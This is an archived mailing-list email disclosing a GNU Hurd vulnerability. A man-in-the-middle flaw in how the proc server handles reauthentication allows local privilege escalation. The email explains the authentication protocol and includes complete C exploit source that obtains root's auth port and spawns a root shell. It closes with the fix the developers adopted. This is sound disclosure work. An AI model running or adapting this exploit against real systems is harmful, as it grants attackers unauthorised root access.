From mboxrd@z Thu Jan 1 00:00:00 1970 Return-Path: Received: from mp0 ([2001:41d0:8:6d80::]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)) by ms0.migadu.com with LMTPS id Si63GJNqgWGS4AAAgWs5BA (envelope-from ) for ; Tue, 02 Nov 2021 17:42:59 +0100 Received: from aspmx1.migadu.com ([2001:41d0:8:6d80::]) (using TLSv1.3 with cipher TLS_AES_256_GCM_SHA384 (256/256 bits)) by mp0 with LMTPS id IIDTE5NqgWGedQAA1q6Kng (envelope-from ) for ; Tue, 02 Nov 2021 16:42:59 +0000 Received: from lists.gnu.org (lists.gnu.org [209.51.188.17]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by aspmx1.migadu.com (Postfix) with ESMTPS id F2CD51E2B7 for ; Tue, 2 Nov 2021 17:42:58 +0100 (CET) Received: from localhost ([::1]:43104 helo=lists1p.gnu.org) by lists.gnu.org with esmtp (Exim 4.90_1) (envelope-from ) id 1mhwsE-0002MO-40 for larch@yhetil.org; Tue, 02 Nov 2021 12:42:58 -0400 Received: from eggs.gnu.org ([2001:470:142:3::10]:33232) by lists.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_256_GCM_SHA384:256) (Exim 4.90_1) (envelope-from ) id 1mhwhe-0006ab-4L; Tue, 02 Nov 2021 12:32:02 -0400 Received: from mail-lj1-x22c.google.com ([2a00:1450:4864:20::22c]:42696) by eggs.gnu.org with esmtps (TLS1.2:ECDHE_RSA_AES_128_GCM_SHA256:128) (Exim 4.90_1) (envelope-from ) id 1mhwhU-00044C-5f; Tue, 02 Nov 2021 12:32:00 -0400 Received: by mail-lj1-x22c.google.com with SMTP id j5so3305649lja.9; Tue, 02 Nov 2021 09:31:49 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20210112; h=from:to:cc:subject:date:message-id:in-reply-to:references :mime-version:content-transfer-encoding; bh=JvC3KqECrQYWAgI4wR9rz3f3HtGyC97FgcW0GN74DgY=; b=otOXhOV42/h7aeXUR/XjWduF5YbWfjDKu3JhtWu19ThrsptaJ/7oKWL0oKy2bPjR8Q F9qNjV4EOE+qcGcJOluZpeTqC/nblQ2QZ8yovqRhWrAk2V8dytg84qt0vE9VOyKtQszw o+K0Cr1PwKRpzE68LmyyWnhceQJoIdD2SDQl+5pwnIELot4vqzYJW7vav8h+JGCQYbpz sOk1IE5drkIWOMuFohUaBvo+tmXHvznpyoo0oLxRyuHE/XerXLjuO/Co3iZDpn5BaZrz vw2n4SD1dZMbjrUbIAWSSm5Puv4YlrD4qdpNxkxdZJM8CeGY7fzLcj+z1wAnnUFTyMfM jrgA== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references:mime-version:content-transfer-encoding; bh=JvC3KqECrQYWAgI4wR9rz3f3HtGyC97FgcW0GN74DgY=; b=EgxUT/J0EYRkKclZxBVZfPK9lmT3tEAVQYpepqUxvo4ip+uGWqKRjGi251sN9CZ+sA uGX70qpxUTo6nGOWevi7XOD5MFJVMImPyhCgdRv/H4gVmfET77CpbI3fYPWWzBBPwlLS Oij9gJKD3VlG5FNfDC7d7o9b8Kiy/+y/tr4snhB0uhkq7SDfMAK0QLWYAE5yIba+JeAC o71VYe0/OgFIdP/Nx5rNXfBcLax1EWMzqojLJ4fdR2w/mFMbkKr1WDb/m26mtlFzgDbT wEQx09Fw9eAi2Waoug4p3hZB63cbnUeIFuCBtKxZkVdFfyF3oQhvqMU+Q5Y2HBXNwgHB tHbw== X-Gm-Message-State: AOAM532vuTQ4Q9Ld11xI7qOasSre39W/Zdm6Ei7zrBPZBG62By0zv/yz uGKQOG/XkcMIz92S9pOyyiKkmKlhAtnaWfMniMs= X-Google-Smtp-Source: ABdhPJz7jyOsqZA1c1g6axYNauQ8QYGxOtIZYdC9joc+lPBjpB/YfMYdjBT5HKZA0TCxIxDz2q7AtQ== X-Received: by 2002:a2e:8709:: with SMTP id m9mr36861730lji.406.1635870707587; Tue, 02 Nov 2021 09:31:47 -0700 (PDT) Received: from badwolf.office.smartdec.ru ([81.23.5.115]) by smtp.googlemail.com with ESMTPSA id w15sm844111ljo.123.2021.11.02.09.31.46 (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256); Tue, 02 Nov 2021 09:31:47 -0700 (PDT) From: Sergey Bugaev To: bug-hurd@gnu.org Subject: [VULN 4/4] Process auth man-in-the-middle Date: Tue, 2 Nov 2021 19:31:21 +0300 Message-Id: <20211102163121.415934-5-bugaevc@gmail.com> X-Mailer: git-send-email 2.33.1 In-Reply-To: <20211102163121.415934-1-bugaevc@gmail.com> References: <20211102163121.415934-1-bugaevc@gmail.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Received-SPF: pass client-ip=2a00:1450:4864:20::22c; envelope-from=bugaevc@gmail.com; helo=mail-lj1-x22c.google.com X-Spam_score_int: -20 X-Spam_score: -2.1 X-Spam_bar: -- X-Spam_report: (-2.1 / 5.0 requ) BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, FREEMAIL_FROM=0.001, RCVD_IN_DNSWL_NONE=-0.0001, SPF_PASS=-0.001, T_SPF_HELO_TEMPERROR=0.01 autolearn=ham autolearn_force=no X-Spam_action: no action X-BeenThere: guix-devel@gnu.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: "Development of GNU Guix and the GNU System distribution." List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Cc: squid3@treenet.co.nz, Sergey Bugaev , debian-hurd@lists.debian.org, samuel.thibault@gnu.org, jlledom@mailfence.com, guix-devel@gnu.org, rbraun@sceen.net Errors-To: guix-devel-bounces+larch=yhetil.org@gnu.org Sender: "Guix-devel" X-Migadu-Flow: FLOW_IN ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=yhetil.org; s=key1; t=1635871379; h=from:from:sender:sender:reply-to:subject:subject:date:date: message-id:message-id:to:to:cc:cc:mime-version:mime-version: content-transfer-encoding:content-transfer-encoding: in-reply-to:in-reply-to:references:references:list-id:list-help: list-unsubscribe:list-subscribe:list-post:dkim-signature; bh=JvC3KqECrQYWAgI4wR9rz3f3HtGyC97FgcW0GN74DgY=; b=EZrZreZpBw4pyu7KUTQAuvkk9Vw3t2v4ZSGgz5P4rhUXHheEt0fj5NFkyePSf+N2lhc0Jb 7N+n30DmhqmG7sOk1BnGgOyprPpRDNttLr4UoPulZBkWh9o4z3o79hEAcYTBcRUzxaohaq vjVlXsHZlesU6uOUYaUSUovYRyqFRF/Fz94981+OPI0HtSXF/vEfIRAVG2NBRkc5aQQEvl 45sU3DAIvAarxBPqCVt5nljOINqt1w8rkp5npmyJRefYG9mpw7pS9WDkbX+RUHTZhHjOly D//ApQOYhshB72liXh6F45SR/to+KDWF9g4x5JtGbQITBAxw1Kh+jdVqp4zD4g== ARC-Seal: i=1; s=key1; d=yhetil.org; t=1635871379; a=rsa-sha256; cv=none; b=rB+pfB68AvLysSzmY13olTYX0PcRW/SjtVUkCE3JBPNAaRt0VnXu3A4+a8s2J+FpqBxqVi sIWC+DuwJFMP2wFaXnLL7hucS+cV/o5sJEWiN4gr/ijq7vICHTv2GIMgwG2egJ2S91AKfx 0PDG4NdtffuDzTs31u7xWIroivfdOF1Wm6XjyAnhqbk6pXw3VwYyctPeUzOSAuUZgc+ZSq jJUFcAxkmwTvc0eEdMIs3puye6mjO0FChZcEPLUKhd/b9CdjUZPn6zIJPlFJtrpk7Hyhdm fG1o5nOG7Z2h6IG/mE6s6Yu8hivPDRl87YcKSpRMUpOCNF0RY80qz9JuTqe4mA== ARC-Authentication-Results: i=1; aspmx1.migadu.com; dkim=fail ("headers rsa verify failed") header.d=gmail.com header.s=20210112 header.b=otOXhOV4; dmarc=fail reason="SPF not aligned (relaxed)" header.from=gmail.com (policy=none); spf=pass (aspmx1.migadu.com: domain of guix-devel-bounces@gnu.org designates 209.51.188.17 as permitted sender) smtp.mailfrom=guix-devel-bounces@gnu.org X-Migadu-Spam-Score: 3.68 Authentication-Results: aspmx1.migadu.com; dkim=fail ("headers rsa verify failed") header.d=gmail.com header.s=20210112 header.b=otOXhOV4; dmarc=fail reason="SPF not aligned (relaxed)" header.from=gmail.com (policy=none); spf=pass (aspmx1.migadu.com: domain of guix-devel-bounces@gnu.org designates 209.51.188.17 as permitted sender) smtp.mailfrom=guix-devel-bounces@gnu.org X-Migadu-Queue-Id: F2CD51E2B7 X-Spam-Score: 3.68 X-Migadu-Scanner: scn0.migadu.com X-TUID: 5YYgvWrngmKm Short description ================= The use of authentication protocol in the proc server is vulnerable to man-in-the-middle attacks, which can be exploited for local privilege escalation to get full root access to the system. Background: authentication ========================== Here, the word "authentication" refers not to a human user signing in to the system, but rather to a component of the system communicating and proving its authority to another component of the system. For example, to be able to open and read a file, a client process may need to convince the translator which provides the file that the client has the appropriate UIDs to be allowed to access the file. Essentially, the Hurd authentication mechanism serves to bridge the capability system of Mach with the *ambient authority* system of Unix UIDs. To make the rest of the description easier to follow, I'm going to name the involved actors, as is commonly done in literature [0]: * Alice is a client process who wishes to authenticate itself * Bob is a server process who's accepting authentication * Carol is the Hurd auth server [0]: https://en.wikipedia.org/wiki/Alice_and_Bob The Hurd represents authority as _auth handles_, which are ports to the auth server (Carol); each auth handle corresponds to a set of UIDs (and GIDs) maintained by Carol. For Alice to authenticate itself to Bob means her demonstrating (and proving) to Bob that she has an auth handle with a given set of UIDs. A straightforward way to do that would be for Alice to send her auth handle to Bob, letting Bob inspect it (by asking Carol what UIDs it represents). However, giving Bob direct access to the auth handle is completely unacceptable, because Alice may actually be more privileged than Bob: for instance, Alice may be a root-owned process who reads a file from a file system implemented by Bob, an unprivileged translator. The mere act of Alice authenticating herself should not result in Bob getting root access. So the Hurd authentication mechanism is instead designed as a three-way handshake between Alice, Bob, and Carol: 1. First, Alice and Bob "shake hands" by agreeing on a "rendezvous" port right; this port right does not have to be anything special, but the two sides need to be in agreement about what it is. The typical way this works is that Alice creates a fresh new port to serve as the rendezvous port, and initiates the authentication process by sending the rendezvous port to Bob in a foo_reauthenticate () RPC call. 2. Next, Alice "shakes hands" with Carol the auth server by sending her the rendezvous port in a auth_user_authenticate () RPC call on her auth handle. 3. Concurrently with that, upon receiving the rendezvous port from Alice, Bob also "shakes hands" with Carol by also sending her the rendezvous port in a auth_server_authenticate () RPC call. Carol matches up the two calls by the rendezvous port and returns Alice's UIDs (but not her handle!) to Bob. Provided Bob trusts Carol (as he should, since she's the trusted system auth server), he now reliably knows Alice's UIDs, but he never got access to her auth handle. Note: the role the rendezvous port plays in this is in a way similar to a single-use read-only auth handle. Background: man-in-the-middle attacks ===================================== The design described above still has a fatal flaw: the possibility of man-in-the-middle attacks. Let's imagine there's another process, Eve, who stands in between Alice and Bob; so Alice is not talking to Bob directly, but rather to Eve, while Eve is trying to impersonate Alice to Bob. (It would perhaps be more correct to name the attacker Mallory rather than Eve, but I've been thinking of her as of Eve for multiple years now, so I'll stick with that name.) Alice sends her rendezvous port to Eve in a foo_reauthenticate () RPC call. Eve, instead of sending the port to Carol the auth server in a auth_server_authenticate () call, forwards the port to Bob in her own foo_reauthenticate () call. Bob then asks Carol about this rendezvous port, and gets Alice's UIDs in response, since it's Alice (and not Eve) who passes the rendezvous port to Carol on the client side. Yet, Bob believes the UIDs to belong to Eve, since it's her who has been interacting with him. And so, Eve has now effectively stolen Alice's identity. Knowing that this could happen, Bob has to be aware that the UIDs Carol tells him about may not, in fact, belong to the client who has initiated the authentication process with him (Eve), they may instead belong to someone else (Alice) who's being man-in-the-middle-attacked. To make this work, the Hurd authentication protocol has one more feature: the _new port_ mechanism. This new port is a port right that Bob may pass back to Alice through Carol. Bob passes this new port to auth_server_authenticate (), and Alice receives it from auth_user_authenticate (). In case of a man-in-the-middle attack, it is Alice -- the actual owner of those UIDs that Bob sees -- who receives this new port, not Eve, who has been interacting with Bob and has initiated the authentication process. In other words, while Eve might be able to play a man-in-the-middle up and until the authentication, once the authentication is complete Alice and Bob will have a direct connection that doesn't go through Eve, and it's this new connection that their further communication should go through. (Exercise for the reader: if so, how is it possible that rpctrace, the ultimate man-in-the-middle eavesdropping tool, continues tracing calls on the new port after reauthentication just fine?) As a consequence of this design, after the authentication, Bob should not trust the original port -- the one foo_reauthenticate () has been called on -- any more than he had trusted it before, because the port may still belong to Eve, not Alice. Instead, Bob should trust the new port he has created and passed to Alice, because he knows that this port is actually Alice's, not Eve's. Background: uses of authentication ================================== There are two protocols that use authentication in the Hurd: the I/O protocol and the process protocol. Filesystem translators typically structure their internal data model in such a way that an io_t port refers to a "protid", that is, to a structure containing authority information and a reference to a "peropen", which in turn contains things like open flags and the current file offset, and in turn points to the actual filesystem node. Multiple peropens can be made that refer to the same file (if the file is opened multiple times). Multiple protids can be made that refer to the same peropen, differing in authority, with the io_reauthenticate () call. A port to the new protid, having the new set of UIDs, is the _new port_ passed to the authenticating client through the auth server; the old protid is not altered in any way, in full accordance with the reasoning presented above. The other place where authentication is used is processes authenticating themselves to the proc server. There can only be a single process port for one process, not multiple differently authenticated ones, so the proc server does not use the _new port_ mechanism and instead updates its idea of which UIDs the process has directly. In the case of proc_reauthenticate () it is fine that the new port mechanism is unused, since, while you generally can't trust the translators you interact with, processes trust the proc server to not play man-in-the-middle attacks against them (indeed, the process server already has their task ports and therefore complete access to anything that they have). Or in other terms, Alice the client can be sure she's talking to Bob the proc server, and not to Eve, since the connection is trusted. The issue ========= The justification presented in the above paragraph is actually insufficient. It is still possible to exploit the fact that proc_reauthenticate () updates its idea of process auth in-place instead of creating a separate new port. Even though it's true that Alice knows for sure that she's talking to Bob the proc server, Bob cannot be sure he's indeed talking to Alice (the owner of the UIDs Bob gets from Carol), not Eve. It may be the case that Alice has been authenticating to Eve for an entirely different reason -- specifically, Eve may pose as a translator, and Alice may be a client of hers -- and Eve may have forwarded Alice's rendezvous port to Bob the proc server, saying she wishes to reauthenticate her process. Since there's nothing about rendezvous ports, nor about the auth_{user,server}_authenticate () APIs, that identifies what kind of port (process, or I/O, or potentially something else) is being reauthenticated, it's entirely possible to forward a rendezvous port created for reauthenticating an I/O handle to the proc server who expects to reauthenticate a process. The exploit =========== To exploit this, we basically have to implement the Eve side of the man-in-the-middle attack against the proc server, and trick some privileged Alice into authenticating to us. To get someone privileged to authenticate to me, I went with the same exec(/bin/su) trick, which makes the root filesystem reauthenticate all of the processes file descriptors. If we place our own port among the file descriptors, we'll get a io_reauthenticate () call from the root filesystem on it, which we'll forward to the proc server, pretending to reauthenticate our process. We launch a separate thread that will call _hurd_exec_paths (), which will block until the exec is complete; we listen for messages sent to our fake file descriptor port on the main thread. Once we're done with these shenanigans, it's a good idea to close the file descriptor back, in order for it to not create more troubles for us when we _actually_ start reauthenticating our file descriptors during the setauth () call. Exploit source code =================== #include #include #include #include #include #include #include #include #include #include "ioServer.h" int ok_to_continue = 0; pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER; pthread_cond_t cond = PTHREAD_COND_INITIALIZER; kern_return_t S_io_reauthenticate (mach_port_t io, mach_port_t rend) { auth_t root_auth; process_t proc = getproc (); error_t err; task_t pid1_task; mach_port_t pid1_msgport; err = proc_reauthenticate (proc, rend, MACH_MSG_TYPE_MOVE_SEND); if (err) error (1, err, "proc_reauthenticate"); sleep (2); pid1_task = pid2task (1); if (!pid1_task) error (1, errno, "pid2task"); err = proc_getmsgport (proc, 1, &pid1_msgport); if (err) error (1, err, "proc_getmsgport"); err = msg_get_init_port (pid1_msgport, pid1_task, INIT_PORT_AUTH, &root_auth); if (err) error (1, err, "msg_get_init_port"); fprintf (stderr, "Got root auth port :)\n"); pthread_mutex_lock (&mutex); while (!ok_to_continue) pthread_cond_wait (&cond, &mutex); pthread_mutex_unlock (&mutex); err = setauth (root_auth); if (err) error (1, err, "setauth"); if (setresuid (0, 0, 0) < 0) error (0, errno, "setresuid"); if (setresgid (0, 0, 0) < 0) error (0, errno, "setresgid"); execl ("/bin/bash", "/bin/bash", NULL); error (1, errno, "failed to exec bash"); } mach_port_t port; void * thread_fn (void *meh) { error_t err; task_t child; file_t su; int fd; fd = openport (port, 0); su = file_name_lookup ("/bin/su", O_EXEC, 0); if (err) error (1, err, "file_name_lookup"); err = task_create (mach_task_self (), 0, &child); if (err) error (1, err, "task_create"); err = _hurd_exec_paths (child, su, "/bin/su", "bin/su", NULL, NULL); if (err) error (1, err, "_hurd_exec_paths"); close (fd); pthread_mutex_lock (&mutex); ok_to_continue = 1; pthread_mutex_unlock (&mutex); pthread_cond_signal (&cond); sleep (10000); } extern boolean_t io_server (mach_msg_header_t *inp, mach_msg_header_t *outp); int main () { error_t err; pthread_t thread; port = mach_reply_port (); err = mach_port_insert_right (mach_task_self (), port, port, MACH_MSG_TYPE_MAKE_SEND); if (err) error (1, err, "mach_port_insert_right"); err = pthread_create (&thread, NULL, thread_fn, NULL); if (err) error (1, err, "pthread_create"); mach_msg_server (io_server, 1024, port); } Notes ===== To build the exploit from source, you'll need to generate ioServer.c and ioServer.h using MIG. A condition variable is probably an overkill for closing a file descriptor, but the exploit does not aspire to be optimal in any way, it just needs to successfully give me a root shell :) Amusingly enough, authenticating to the proc server could instead be done as simply as routine proc_reauthenticate ( process: process_t; auth: auth_t); i.e. by simply sending an auth handle to the proc server, since, again, we know for sure that the process server won't try to steal our auth, and it has no need to. This would avoid *so* much of all these complications. Also, I believe that it would, in theory, be possible to rearchitecture the proc server to support multiple differently authenticated ports to the same process (like protids in translators), while keeping calls like proc_pid2proc () and proc_task2proc () working in a somewhat reasonable way. But I'm not at all convinced that attempting this would be a good idea. How we fixed the vulnerability ============================== Conceptually, we want to make sure that Alice is indeed reauthenticating her process, and not authenticating for some other reason. If she is, we know for sure that she's talking to the proc server directly and there's no Eve to worry about. To this end, we've made two changes: * proc_reauthenticate () now creates a new port for the process and sends it to Alice via the new port mechanism. The old port is destroyed. * There's a new RPC, proc_reauthenticate_complete (), which Alice has to call after receiving the new process port. This is how she confirms that she is indeed reauthenticating her process. Only recreating the process port would not be enough. This is because, even though the new port is reliably sent to Alice and not Eve, Eve would still be able to get the new port. To do this, she would only need some other process handle, on which she'd call proc_task2proc () passing her task port. In the actual design, Eve wouldn't be able to access the new port this way, because no changes to the process port or credentials are committed until and unless the proc_reauthenticate_complete () call is received on the new port.